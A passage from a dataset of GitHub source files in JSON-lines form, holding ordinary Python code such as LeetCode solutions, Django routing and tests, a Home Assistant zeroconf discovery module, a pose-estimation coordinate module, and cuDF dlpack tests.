data attribute names `data-cite`\n and replaces it by the call to LaTeX cite command. The tranformation\n looks like this:\n \n `(Granger, 2013)`\n \n Becomes\n \n `\\\\cite{granger}`\n \n Any HTML tag can be used, which allows the citations to be formatted\n in HTML in any manner.\n \"\"\"\n try:\n from lxml import html\n except ImportError:\n return s\n\n tree = html.fragment_fromstring(s, create_parent='div')\n _process_node_cite(tree)\n s = html.tostring(tree, encoding='unicode')\n if s.endswith(''):\n s = s[:-6]\n if s.startswith('
    '):\n s = s[5:]\n return s\n\n\ndef _process_node_cite(node):\n \"\"\"Do the citation replacement as we walk the lxml tree.\"\"\"\n \n def _get(o, name):\n value = getattr(o, name, None)\n return '' if value is None else value\n \n if 'data-cite' in node.attrib:\n cite = '\\cite{%(ref)s}' % {'ref': node.attrib['data-cite']}\n prev = node.getprevious()\n if prev is not None:\n prev.tail = _get(prev, 'tail') + cite + _get(node, 'tail')\n else:\n parent = node.getparent()\n if parent is not None:\n parent.text = _get(parent, 'text') + cite + _get(node, 'tail')\n try:\n node.getparent().remove(node)\n except AttributeError:\n pass\n else:\n for child in node:\n _process_node_cite(child)\n","repo_name":"macewanCS/aspidites","sub_path":"IPython/nbconvert/filters/citation.py","file_name":"citation.py","file_ext":"py","file_size_in_byte":1605,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"} +{"seq_id":"1702211277","text":"class Solution:\n def change(self, amount: int, coins: List[int]) -> int:\n @cache\n def rec(total,idx):\n if total==amount:\n return 1\n if total>amount or idx==len(coins):\n return 0\n ans= rec(total+coins[idx],idx)+rec(total,idx+1)\n return ans\n return rec(0,0)","repo_name":"Satyam-79/Programming-Problems","sub_path":"0518-coin-change-ii/0518-coin-change-ii.py","file_name":"0518-coin-change-ii.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"43340694262","text":"from django.urls import path, include\n\nfrom applications.office_panel.views import home, patient\n\napp_name = 'office_panel'\nurlpatterns = [\n path('', home.OfficePanelView.as_view(), name='home'),\n path('patients/', include([\n path('', patient.PatientListView.as_view(), name='patients'),\n path('add/', patient.PatientCreateView.as_view(), name='patient_add'),\n path('/', patient.PatientDetailView.as_view(), name='patient_detail'),\n path('/update/', patient.PatientUpdateView.as_view(), name='patient_update'),\n path('/delete/', patient.PatientDeleteView.as_view(), name='patient_delete'),\n ])),\n path('medical_history/', include('applications.medical_history.urls.office')),\n path('appointments/', include('applications.appointments.urls.office'))\n]\n","repo_name":"szypkiwonsz/Physiotherapy-Management-System","sub_path":"applications/office_panel/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"25770466990","text":"# Definition for a binary tree node.\nfrom typing import List, Optional\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution:\n def buildTree(self, inorder: List[int], postorder: List[int]) -> Optional[TreeNode]:\n def recurse(inorder: List[int], postorder: List[int]) -> Optional[TreeNode]:\n if len(inorder) == 0:\n return None\n rootVal = postorder[-1]\n\n node = TreeNode(rootVal)\n i = inorder.index(rootVal)\n\n node.left = recurse(inorder[:i], postorder[:i])\n node.right = recurse(inorder[i + 1:], postorder[i:-1])\n return node\n\n return recurse(inorder, postorder)\n","repo_name":"kapilpatwa93/algorithm","sub_path":"leetcode/construct_binary_tree_from_inorder_postorder_traversal.py","file_name":"construct_binary_tree_from_inorder_postorder_traversal.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"6913951658","text":"from getHcf import computeGCD\n\ndef compute_lcm(x, y):\n lcm = (x*y)//computeGCD(x,y)\n return lcm\n\nnum1 = int(input(\"Enter first number: \"))\nnum2 = int(input(\"Enter second number: \"))\n\nprint(\"LCM of\",num1,\"and\",num2,\"=\", compute_lcm(num1, num2))","repo_name":"sreekeshiyer/IT-Sem4","sub_path":"Python Lab/Codes/Exp 4/getLcm.py","file_name":"getLcm.py","file_ext":"py","file_size_in_byte":249,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"} +{"seq_id":"33009910659","text":"#Given list of numbers\r\n#numList=[10,20,30,40,10]\r\nnumList=list(input(\"Enter a list of comma seperated values: \").split(\",\"))\r\nprint(\"Given list is\", numList )\r\n\r\n#Get the first element in the list\r\nfirstElement= numList[0]\r\n\r\n#Get the last element in the list\r\nlastElement=numList[-1]\r\n\r\n#Check if the first and last number are equal\r\nif(firstElement==lastElement):\r\n print(True)\r\nelse:\r\n print(False)\r\n","repo_name":"PrabhatiG/Python","sub_path":"Activity8.py","file_name":"Activity8.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"37840540031","text":"from stock_market_model.model import Model\nimport matplotlib.pyplot as plt\nfrom matplotlib.animation import FuncAnimation\nimport numpy as np\n\n\ndef animate(model: Model, t: int = 100, steps_per_frame: int = 1):\n figure = plt.figure()\n ca_plot = plt.imshow(model.matrix, cmap='seismic')\n\n def animation_func(i):\n for i in range(steps_per_frame):\n model.step()\n ca_plot.set_data(model.matrix)\n return ca_plot\n\n plt.colorbar(ca_plot)\n return FuncAnimation(figure, animation_func, frames=int(t / steps_per_frame))\n\n\ndef can_r(a):\n n = len(a)\n m = len(a[0])\n result = np.zeros((n, m), dtype=np.bool)\n for i in range(n):\n for j in range(m):\n if (a[i][j]) and (j < (m - 1)) and (not a[i][j + 1]):\n result[i][j] = True\n return result\n\n\ndef can_l(a):\n n = len(a)\n m = len(a[0])\n result = np.zeros((n, m), dtype=np.bool)\n for i in range(n):\n for j in range(m):\n if (a[i][j]) and (j > 0) and (not a[i][j - 1]):\n result[i][j] = True\n return result\n\n\ndef can_t(a):\n n = len(a)\n m = len(a[0])\n result = np.zeros((n, m), dtype=np.bool)\n for i in range(n):\n for j in range(m):\n if (a[i][j]) and (i > 0) and (not a[i - 1][j]):\n result[i][j] = True\n return result\n\n\ndef can_b(a):\n n = len(a)\n m = len(a[0])\n result = np.zeros((n, m), dtype=np.bool)\n for i in range(n):\n for j in range(m):\n if (a[i][j]) and (i < n - 1) and (not a[i + 1][j]):\n result[i][j] = True\n return result\n\n\ndef cells_have_inactive_neighbours(activeness_mask):\n n = len(activeness_mask)\n m = len(activeness_mask[0])\n result = np.ndarray((n, m), dtype=np.bool)\n for i in range(n):\n for j in range(m):\n r = False\n if i != 0 and not (activeness_mask[i - 1][j]):\n r = True\n if j != 0 and not (activeness_mask[i][j - 1]):\n r = True\n if i != n - 1 and not activeness_mask[i + 1][j]:\n r = True\n if j != m - 1 and not activeness_mask[i][j + 1]:\n r = True\n result[i][j] = r\n return result\n\n\nani = animate(Model(128, 512, 0.0493,initial_active_freq=0.2), t=2000, steps_per_frame=10)\n# simulate_and_plot([0.0493], [0.2], 1000)\n# asd = simulate_and_plots(models=[Model(p_h=0.051), Model(p_h=0.0485)], ts=range(200), labels=[\"f\", \"l\"])\nplt.show()\n","repo_name":"Vlad-commits/cw22","sub_path":"stock_market_model/unused.py","file_name":"unused.py","file_ext":"py","file_size_in_byte":2474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"26775410640","text":"class StackNode:\n def __init__(self, start_index, next_index, max_index):\n self.start_index = start_index\n self.next_index = next_index\n self.max_index = max_index\n\n def is_full(self, arr):\n if arr[self.max_index] == None:\n return False\n else:\n return True\n\n def is_empty(self, arr):\n if arr[self.start_index] == None:\n return True\n else:\n return False\n\n\nclass ThreeStacks:\n def __init__(self, array_size):\n self.arr = [None] * array_size\n\n division = array_size//3\n first_stack_range = (0, division-1)\n second_stack_range = (0+division, (2*division)-1)\n third_stack_range = (0+2*division, 3*division)\n\n self.stack1 = StackNode(start_index=first_stack_range[0], next_index=first_stack_range[0], max_index=first_stack_range[1])\n self.stack2 = StackNode(start_index=second_stack_range[0], next_index=second_stack_range[0], max_index=second_stack_range[1])\n self.stack3 = StackNode(start_index=third_stack_range[0], next_index=third_stack_range[0], max_index=third_stack_range[1])\n\n def push(self, stack, data):\n if not stack.is_full(self.arr):\n next_index = stack.next_index\n self.arr[next_index] = data\n\n def pop(self, stack):\n if not stack.is_empty(self.arr):\n item = self.arr[stack.next_index]\n self.arr[stack.next_index] = None\n return item\n\n\nif __name__ == \"__main__\":\n ts = ThreeStacks(10)\n ts.push(ts.stack1, 13)\n ts.push(ts.stack2, 12)\n ts.push(ts.stack2, 11)\n item = ts.pop(ts.stack1)\n print(item)\n","repo_name":"nirjharij/cracking-the-coding-interview-in-python","sub_path":"stacks_and_queues/three_in_one.py","file_name":"three_in_one.py","file_ext":"py","file_size_in_byte":1659,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"} +{"seq_id":"37758118550","text":"\"\"\"Constants for the Terncy integration.\"\"\"\n\nimport ipaddress\nimport logging\nimport time\n\nfrom zeroconf import ServiceBrowser\n\nfrom homeassistant.components import zeroconf as hasszeroconf\n\nfrom .const import (\n CONF_DEVID,\n CONF_IP,\n CONF_PORT,\n TERNCY_EVENT_SVC_ADD,\n TERNCY_EVENT_SVC_REMOVE,\n TERNCY_EVENT_SVC_UPDATE,\n TERNCY_HUB_SVC_NAME,\n)\n\n_LOGGER = logging.getLogger(__name__)\n\n\ndef _parse_svc(dev_id, info):\n txt_records = {CONF_DEVID: dev_id}\n ip_addr = \"\"\n if len(info.addresses) > 0:\n if len(info.addresses[0]) == 4:\n ip_addr = str(ipaddress.IPv4Address(info.addresses[0]))\n if len(info.addresses[0]) == 16:\n ip_addr = str(ipaddress.IPv6Address(info.addresses[0]))\n txt_records[CONF_IP] = ip_addr\n txt_records[CONF_PORT] = info.port\n for k in info.properties:\n txt_records[k.decode(\"utf-8\")] = info.properties[k].decode(\"utf-8\")\n return txt_records\n\n\nclass TerncyZCListener:\n \"\"\"Terncy zeroconf discovery listener.\"\"\"\n\n def __init__(self, manager):\n \"\"\"Create Terncy discovery listener.\"\"\"\n self.manager = manager\n\n def remove_service(self, zconf, svc_type, name):\n \"\"\"Get a terncy service removed event.\"\"\"\n dev_id = name.replace(\".\" + svc_type, \"\")\n if dev_id in self.manager.hubs:\n del self.manager.hubs[dev_id]\n txt_records = {CONF_DEVID: dev_id}\n self.manager.hass.bus.async_fire(TERNCY_EVENT_SVC_REMOVE, txt_records)\n\n def update_service(self, zconf, svc_type, name):\n \"\"\"Get a terncy service updated event.\"\"\"\n info = zconf.get_service_info(svc_type, name)\n if info is None:\n return\n dev_id = name.replace(\".\" + svc_type, \"\")\n txt_records = _parse_svc(dev_id, info)\n\n self.manager.hubs[dev_id] = txt_records\n self.manager.hass.bus.async_fire(TERNCY_EVENT_SVC_UPDATE, txt_records)\n\n def add_service(self, zconf, svc_type, name):\n \"\"\"Get a new terncy service discovered event.\"\"\"\n info = zconf.get_service_info(svc_type, name)\n if info is None:\n return\n dev_id = name.replace(\".\" + svc_type, \"\")\n ipaddress = \"\"\n txt_records = {}\n max_retry = 20\n while max_retry > 0:\n max_retry = max_retry - 1\n txt_records = _parse_svc(dev_id, info)\n ipaddress = txt_records[CONF_IP]\n _LOGGER.info(\"ip address is parsed to %s\", ipaddress)\n if not ipaddress == \"\":\n break\n _LOGGER.warn(\"ip %s is still not available, query again\", ipaddress)\n time.sleep(2)\n info = zconf.get_service_info(svc_type, name)\n\n self.manager.hubs[dev_id] = txt_records\n self.manager.hass.bus.async_fire(TERNCY_EVENT_SVC_ADD, txt_records)\n\n\nclass TerncyHubManager:\n \"\"\"Manager of terncy hubs.\"\"\"\n\n __instance = None\n\n def __init__(self, hass):\n \"\"\"Create instance of terncy manager, use instance instead.\"\"\"\n self.hass = hass\n self._browser = None\n self._discovery_engine = None\n self.hubs = {}\n TerncyHubManager.__instance = self\n\n @staticmethod\n def instance(hass):\n \"\"\"Get singleton instance of terncy manager.\"\"\"\n if TerncyHubManager.__instance is None:\n TerncyHubManager(hass)\n return TerncyHubManager.__instance\n\n async def start_discovery(self):\n \"\"\"Start terncy discovery engine.\"\"\"\n if not self._discovery_engine:\n zconf = await hasszeroconf.async_get_instance(self.hass)\n self._discovery_engine = zconf\n listener = TerncyZCListener(self)\n self._browser = ServiceBrowser(zconf, TERNCY_HUB_SVC_NAME, listener)\n\n async def stop_discovery(self):\n \"\"\"Stop terncy discovery engine.\"\"\"\n if self._discovery_engine:\n self._browser.cancel()\n self._discovery_engine.close()\n self._browser = None\n self._discovery_engine = None\n","repo_name":"rxwen/homeassistant-terncy-component","sub_path":"custom_components/terncy/hub_monitor.py","file_name":"hub_monitor.py","file_ext":"py","file_size_in_byte":4017,"program_lang":"python","lang":"en","doc_type":"code","stars":62,"dataset":"github-code","pt":"35"} +{"seq_id":"25679870604","text":"import os\nimport sys\nfrom core.img_tool.warp import Warper\nfrom core.img_tool.remap import Remapper\nfrom core.thirdparty.load_openpose import PoseEstimator\nfrom core.math_tool.geometric_tool import GeoTool\nfrom core.math_tool.coordinate_system import CoordSys\nimport cv2\nimport numpy as np\nfrom core.math_tool.oneeurofilter import OneEuroFilter\n\nmincutoff_, beta_ = 0.005, 0.005\nf_phone = OneEuroFilter(mincutoff = mincutoff_, beta = beta_)\nf_camera = OneEuroFilter()\ngtool = GeoTool()\npe = PoseEstimator()\nwarper = Warper()\nremapper = Remapper()\n\nclass OddEyeCam():\n def __init__(self):\n \"\"\"\n These objects are view from global frame,\n which is Intel Realsense Camera\n \"\"\"\n self.camera = self._set_camera_axis()\n self.phone = self._set_phone_axis()\n self.chest = CoordSys(ref_coordsys = self.camera)\n self.remapper = remapper\n \n def run_oddeyecam(self,fisheye_img, rs_img, verts, grav):\n self.fisheye_img = fisheye_img\n self.rs_img = rs_img\n self.verts = verts\n self.grav = grav\n self.equirectangular_img, self.perspective_img, self.depthframe_img = warper.run_warper(fisheye_img)\n self.keypoints = pe.find_body_on_2D(self.equirectangular_img,verts)\n self.depth_coord = remapper.run_remapper(self.keypoints,self.verts)\n self.per_coord = remapper.per_coord\n # self.rs_img = remapper.mark_valid_region(rs_img)\n # self.rs_img = remapper.mark_chest_region(rs_img)\n self._set_keyponts_3D(self.keypoints)\n self._set_chest()\n self._to_chest_frame()\n\n \"\"\"\n Filter\n \"\"\"\n def one_euro_filter(self,filter,obj):\n center = obj.center\n if not np.isnan(center).any():\n obj.center = filter(center)\n\n # def update_beta(self, up=False, down=False):\n # step = 0.001\n # global mincutoff_, beta_, f_phone\n # if beta_ - step < 0 and down==True:\n # print(\"beta is already 0\")\n # return\n # if up:\n # beta_ = beta_ + step\n # elif down:\n # beta_ = beta_ - step\n # beta_ - round(beta_,3)\n # print(\"beta:\",beta_)\n # f_phone = OneEuroFilter(mincutoff = mincutoff_, beta = beta_)\n\n # def update_fcmin(self, up=False, down=False):\n # step = 0.001\n # global mincutoff_, beta_, f_phone\n # if mincutoff_ - step < 0 and down==True:\n # print(\"fc_min is already 0\")\n # return\n # if up:\n # mincutoff_ = mincutoff_ + step\n # elif down:\n # mincutoff_ = mincutoff_ - step\n # mincutoff_ - round(mincutoff_,3)\n # print(\"fc_min:\",mincutoff_)\n # f_phone = OneEuroFilter(mincutoff = mincutoff_, beta = beta_)\n\n \"\"\"\n CoordSys1 view from CoordSys2\n \"\"\"\n def _to_chest_frame(self):\n # New camera\n self.camera_view_from_chest = gtool.get_view_from(self.camera, view_to=self.chest)\n # New phone\n self.phone_view_from_chest = gtool.get_view_from(self.phone, view_to=self.chest)\n # New chest\n self.chest_view_from_chest = gtool.get_view_from(self.chest, view_to=self.chest)\n # Polar Expression\n gtool.get_polar_expression_of_chest(self.phone_view_from_chest)\n # gtool.get_polar_expression_of_chest(self.camera_view_from_chest)\n\n def get_view_from_chest_of(self,name):\n if name == 'chest':\n return self.chest_view_from_chest\n elif name == 'phone':\n # self.one_euro_filter(f_phone,self.phone_view_from_chest)\n return self.phone_view_from_chest\n elif name == 'camera':\n # self.one_euro_filter(f_camera,self.camera_view_from_chest)\n return self.camera_view_from_chest\n\n def get_view_from_camera_of(self,name):\n if name == 'chest':\n return self.chest\n elif name == 'phone':\n return self.phone\n elif name == 'camera':\n return self.camera\n\n \"\"\"\n Camera\n Esimation\n \"\"\"\n def _set_camera_axis(self):\n origin = np.array([0,0,0])\n x_axis = np.array([1,0,0])\n y_axis = np.array([0,1,0])\n z_axis = np.array([0,0,1])\n camera_sys = CoordSys(origin,x_axis,y_axis,z_axis)\n camera_sys.set_ref_coordsys(camera_sys)\n return camera_sys\n\n \"\"\"\n Phone\n Esimation\n \"\"\"\n def _set_phone_axis(self):\n origin = self.camera.get_center()\n x = self.camera.get_x_axis()\n y = self.camera.get_y_axis()\n z = self.camera.get_z_axis()\n x_axis = -x\n y_axis = gtool.rotation(x, 40, -y)\n z_axis = gtool.rotation(x, 40, z)\n center = origin - 90 * y_axis\n phone_sys = CoordSys(center,x_axis,y_axis,z_axis,self.camera)\n return phone_sys\n\n \"\"\"\n Chest\n Esimation\n \"\"\"\n def get_valid_shoulder_points(self,points):\n d = np.sqrt(points[:,0]**2+points[:,1]**2+points[:,2]**2)\n points = points[np.all([points[:,2]>0,d>50,d<1000],axis=0)]\n return points\n\n def _set_chest_center(self):\n # center = (self.get_right_shoulder() + self.get_left_shoulder())/2\n center = self.get_neck()\n self.chest.set_center(center)\n return center\n\n def _set_chest_x_axis(self):\n right_shoulder = remapper.get_right_shoulder_2D()\n left_shoulder = remapper.get_left_shoulder_2D()\n idx = gtool.get_points_on_2D_line(right_shoulder, left_shoulder)\n idx = remapper.check_overshoot(idx)\n v, u = idx[:,0],idx[:,1]\n points = self.verts[v,u,:]*1000 # to mm unit\n points = self.get_valid_shoulder_points(points)\n x_axis = gtool.linear_regression(points)\n self.chest.set_x_axis(x_axis)\n return x_axis\n\n def _set_chest_y_axis(self):\n grav = -self.grav\n y_axis = gtool.vec2frame(self.phone, grav, self.camera, is_point=False)\n y_axis = gtool.unitvec(y_axis)\n self.chest.set_y_axis(y_axis)\n return y_axis\n\n def _set_chest_z_axis(self):\n x_axis = self.chest.get_x_axis()\n y_axis = self.chest.get_y_axis()\n # orthogonalize x and y-axis\n x_axis = x_axis - np.dot(x_axis,y_axis)*y_axis\n x_axis = gtool.unitvec(x_axis)\n self.chest.set_x_axis(x_axis)\n # z-axis from cross product\n z_axis = np.cross(x_axis,y_axis)\n z_axis = gtool.unitvec(z_axis)\n self.chest.set_z_axis(z_axis)\n return z_axis\n\n def _set_chest(self):\n self._set_chest_center()\n self._set_chest_x_axis()\n self._set_chest_y_axis()\n self._set_chest_z_axis()\n\n \"\"\"\n Keypoints\n related\n \"\"\"\n def draw_keypoints_beauty(self,img,keypoints):\n image = img.copy() \n red_color = [0,0,255]\n green_color = [0,255,0]\n orange_color = [10,69,250]\n for k in keypoints:\n cv2.circle(image, (k[1], k[0]), (2), red_color, 2)\n neck = keypoints[1,:]\n lsh = keypoints[5,:]\n rsh = keypoints[2,:]\n cv2.circle(image, (rsh[1], rsh[0]), (4), orange_color, -1)\n cv2.circle(image, (lsh[1], lsh[0]), (4), green_color, -1)\n cv2.line(image, (neck[1], neck[0]), (lsh[1], lsh[0]), green_color, 2)\n cv2.line(image, (neck[1], neck[0]), (rsh[1], rsh[0]), orange_color, 2)\n cv2.circle(image, (neck[1], neck[0]), (4), red_color, -1)\n return image\n\n def draw_keypoints(self,img,keypoints):\n for k in keypoints:\n cv2.circle(img, (k[1], k[0]), (2), [0,0,255], 10)\n return img\n\n def draw_shoulders(self,img):\n rsh = self.right_shoulder_idx\n lsh = self.left_shoulder_idx\n # rsh = remapper.get_right_shoulder_2D()\n # lsh = remapper.get_left_shoulder_2D()\n cv2.circle(img, (rsh[1],rsh[0]), (2), [0,0,255], 2)\n cv2.circle(img, (lsh[1],lsh[0]), (2), [255,0,0], 2)\n return img\n\n def _set_keyponts_3D(self,keypoints_2D):\n right_shoulder_idx = remapper.get_right_shoulder_2D()\n left_shoulder_idx = remapper.get_left_shoulder_2D()\n neck_idx = remapper.get_neck_2D()\n self.right_shoulder = self.verts[right_shoulder_idx[0],right_shoulder_idx[1],:]\n self.left_shoulder = self.verts[left_shoulder_idx[0],left_shoulder_idx[1],:]\n self.neck = self.verts[neck_idx[0],neck_idx[1],:]\n\n def get_right_shoulder(self):\n return self.right_shoulder*1000 # to mm unit\n\n def get_left_shoulder(self):\n return self.left_shoulder*1000 # to mm unit\n\n def get_neck(self):\n return self.neck*1000 # to mm unit\n\n def get_shoulders(self):\n rsh = self.get_right_shoulder()\n lsh = self.get_left_shoulder()\n shoudlers = np.array([rsh,lsh])\n return shoudlers\n","repo_name":"KAIST-HCIL/OddEyeCam","sub_path":"core/oddeyecam.py","file_name":"oddeyecam.py","file_ext":"py","file_size_in_byte":8762,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"} +{"seq_id":"24508340634","text":"def solution(k, m, score):\n cnt = 0\n score.sort(reverse=True)\n\n for i in range(0, len(score), m):\n if i + m <= len(score):\n cnt += score[i + m - 1]\n \n cnt = cnt * m\n\n return cnt","repo_name":"owinhun/Baekjoon","sub_path":"프로그래머스/unrated/135808. 과일 장수/과일 장수.py","file_name":"과일 장수.py","file_ext":"py","file_size_in_byte":217,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"36715719223","text":"from pipeline.extractors import JsonExtractor\nimport unittest\n\n\nclass TestJsonExtractor(unittest.TestCase):\n\n def setUp(self):\n self.file_path = 'tests/test_files/test_Json_extractor.json'\n\n def test_jsonextractor(self):\n json_extractor = JsonExtractor()\n\n expect_output = [{\n \"schema\": {\n \"event\": \"str\"\n }\n },\n {\n \"schema\": {\n \"event\": \"str\"\n }\n }]\n output = json_extractor.extract(self.file_path)\n self.assertListEqual(expect_output, output)\n","repo_name":"jjudy60334/GA_ETL","sub_path":"tests/test_extractors.py","file_name":"test_extractors.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"31560667867","text":"import itertools\nfrom contextlib import ExitStack as does_not_raise\n\nimport cupy\nimport numpy as np\nimport pytest\nfrom packaging import version\n\nimport cudf\nfrom cudf.testing._utils import assert_eq\n\nnelems = [0, 3, 10]\ndtype = [np.uint16, np.int32, np.float64]\nnulls = [\"some\", \"none\"]\nparams_1d = itertools.product(nelems, dtype, nulls)\n\nncols = [0, 1, 2]\nparams_2d = itertools.product(ncols, nelems, dtype, nulls)\n\n\nif version.parse(cupy.__version__) < version.parse(\"10\"):\n # fromDlpack deprecated in cupy version 10, replaced by from_dlpack\n cupy_from_dlpack = cupy.fromDlpack\nelse:\n cupy_from_dlpack = cupy.from_dlpack\n\n\ndef data_size_expectation_builder(data, nan_null_param=False):\n if nan_null_param and np.isnan(data).any():\n return pytest.raises((ValueError,))\n\n if len(data.shape) == 2 and data.size == 0:\n return pytest.raises((ValueError, IndexError))\n else:\n return does_not_raise()\n\n\n@pytest.fixture(params=params_1d)\ndef data_1d(request):\n nelems = request.param[0]\n dtype = request.param[1]\n nulls = request.param[2]\n a = np.random.randint(10, size=nelems).astype(dtype)\n if nulls == \"some\" and a.size != 0 and np.issubdtype(dtype, np.floating):\n idx = np.random.choice(a.size, size=int(a.size * 0.2), replace=False)\n a[idx] = np.nan\n return a\n\n\n@pytest.fixture(params=params_2d)\ndef data_2d(request):\n ncols = request.param[0]\n nrows = request.param[1]\n dtype = request.param[2]\n nulls = request.param[3]\n a = np.random.randint(10, size=(nrows, ncols)).astype(dtype)\n if nulls == \"some\" and a.size != 0 and np.issubdtype(dtype, np.floating):\n idx = np.random.choice(a.size, size=int(a.size * 0.2), replace=False)\n a.ravel()[idx] = np.nan\n return np.ascontiguousarray(a)\n\n\ndef test_to_dlpack_dataframe(data_2d):\n expectation = data_size_expectation_builder(data_2d)\n\n with expectation:\n gdf = cudf.DataFrame.from_records(data_2d)\n dlt = gdf.to_dlpack()\n\n # PyCapsules are a C-API thing so couldn't come up with a better way\n assert str(type(dlt)) == \"\"\n\n\ndef test_to_dlpack_series(data_1d):\n expectation = data_size_expectation_builder(data_1d, nan_null_param=False)\n\n with expectation:\n gs = cudf.Series(data_1d, nan_as_null=False)\n dlt = gs.to_dlpack()\n\n # PyCapsules are a C-API thing so couldn't come up with a better way\n assert str(type(dlt)) == \"\"\n\n\ndef test_to_dlpack_series_null(data_1d):\n expectation = data_size_expectation_builder(data_1d, nan_null_param=True)\n\n with expectation:\n gs = cudf.Series(data_1d, nan_as_null=True)\n dlt = gs.to_dlpack()\n\n # PyCapsules are a C-API thing so couldn't come up with a better way\n assert str(type(dlt)) == \"\"\n\n\ndef test_to_dlpack_index(data_1d):\n expectation = data_size_expectation_builder(data_1d)\n\n with expectation:\n if np.isnan(data_1d).any():\n pytest.skip(\"Nulls not allowed in Index\")\n gi = cudf.core.index.as_index(data_1d)\n dlt = gi.to_dlpack()\n\n # PyCapsules are a C-API thing so couldn't come up with a better way\n assert str(type(dlt)) == \"\"\n\n\ndef test_to_dlpack_cupy_1d(data_1d):\n expectation = data_size_expectation_builder(data_1d, False)\n with expectation:\n gs = cudf.Series(data_1d, nan_as_null=False)\n cudf_host_array = gs.to_numpy(na_value=np.nan)\n dlt = gs.to_dlpack()\n\n cupy_array = cupy_from_dlpack(dlt)\n cupy_host_array = cupy_array.get()\n\n assert_eq(cudf_host_array, cupy_host_array)\n\n\ndef test_to_dlpack_cupy_2d(data_2d):\n expectation = data_size_expectation_builder(data_2d)\n\n with expectation:\n gdf = cudf.DataFrame.from_records(data_2d)\n cudf_host_array = np.array(gdf.to_pandas()).flatten()\n dlt = gdf.to_dlpack()\n\n cupy_array = cupy_from_dlpack(dlt)\n cupy_host_array = cupy_array.get().flatten()\n\n assert_eq(cudf_host_array, cupy_host_array)\n\n\ndef test_from_dlpack_cupy_1d(data_1d):\n cupy_array = cupy.array(data_1d)\n cupy_host_array = cupy_array.get()\n dlt = cupy_array.toDlpack()\n\n gs = cudf.from_dlpack(dlt)\n cudf_host_array = gs.to_numpy(na_value=np.nan)\n\n assert_eq(cudf_host_array, cupy_host_array)\n\n\ndef test_from_dlpack_cupy_2d(data_2d):\n cupy_array = cupy.array(data_2d, order=\"F\")\n cupy_host_array = cupy_array.get().flatten()\n dlt = cupy_array.toDlpack()\n\n gdf = cudf.from_dlpack(dlt)\n cudf_host_array = np.array(gdf.to_pandas()).flatten()\n\n assert_eq(cudf_host_array, cupy_host_array)\n\n\ndef test_to_dlpack_cupy_2d_null(data_2d):\n expectation = data_size_expectation_builder(data_2d, nan_null_param=True)\n\n with expectation:\n gdf = cudf.DataFrame.from_records(data_2d, nan_as_null=True)\n cudf_host_array = np.array(gdf.to_pandas()).flatten()\n dlt = gdf.to_dlpack()\n\n cupy_array = cupy_from_dlpack(dlt)\n cupy_host_array = cupy_array.get().flatten()\n\n assert_eq(cudf_host_array, cupy_host_array)\n\n\ndef test_to_dlpack_cupy_1d_null(data_1d):\n expectation = data_size_expectation_builder(data_1d, nan_null_param=True)\n\n with expectation:\n gs = cudf.Series(data_1d)\n cudf_host_array = gs.to_numpy(na_value=np.nan)\n dlt = gs.to_dlpack()\n\n cupy_array = cupy_from_dlpack(dlt)\n cupy_host_array = cupy_array.get()\n\n assert_eq(cudf_host_array, cupy_host_array)\n\n\ndef test_to_dlpack_mixed_dtypes():\n df = cudf.DataFrame({\"a\": [1, 2, 3, 4], \"b\": [10.32, 0.4, -0.2, -1000.32]})\n\n cudf_host_array = df.to_numpy()\n dlt = df.to_dlpack()\n\n cupy_array = cupy_from_dlpack(dlt)\n cupy_host_array = cupy_array.get()\n\n assert_eq(cudf_host_array, cupy_host_array)\n\n\n@pytest.mark.parametrize(\n \"shape\",\n [\n (0, 3),\n pytest.param(\n (3, 0),\n marks=pytest.mark.xfail(\n reason=\"Index information not available via from_dlpack\"\n ),\n ),\n (0, 0),\n ],\n)\ndef test_from_dlpack_zero_sizes(shape):\n arr = cupy.empty(shape, dtype=float)\n df = cudf.io.dlpack.from_dlpack(arr.__dlpack__())\n assert_eq(df, cudf.DataFrame(arr))\n","repo_name":"rapidsai/cudf","sub_path":"python/cudf/cudf/tests/test_dlpack.py","file_name":"test_dlpack.py","file_ext":"py","file_size_in_byte":6270,"program_lang":"python","lang":"en","doc_type":"code","stars":6581,"dataset":"github-code","pt":"35"} +{"seq_id":"28978800490","text":"import datetime as dt\r\nimport os\r\nimport shutil\r\n\r\nfrom django.core.cache import cache\r\nfrom django.core.files.uploadedfile import SimpleUploadedFile\r\nfrom django.test import Client, TestCase\r\nfrom django.urls import reverse\r\n\r\nfrom posts.models import Comment, Follow, Group, Post, User\r\n\r\n\r\nclass ContentTest(TestCase):\r\n \"\"\"Набор тестов профиля и страницы постов.\"\"\"\r\n\r\n def setUp(self):\r\n \"\"\"Задаю двух пользователей.\r\n\r\n Одного авторизую, другой остаётся без авторизации.\r\n \"\"\"\r\n self.client_auth = Client()\r\n self.client_unauth = Client()\r\n self.user = User.objects.create_user(\r\n username='tester'\r\n )\r\n self.client_auth.force_login(self.user)\r\n self.group = Group.objects.create(\r\n title='TestGroup',\r\n slug='test',\r\n description='Test group'\r\n )\r\n cache.clear()\r\n\r\n def tearDown(self):\r\n \"\"\"ЗАметаем следы\"\"\"\r\n try:\r\n shutil.rmtree('media/cache/')\r\n except OSError:\r\n pass\r\n\r\n def test_profile(self):\r\n \"\"\"Тест №1 страницы профиля после регистрации.\"\"\"\r\n 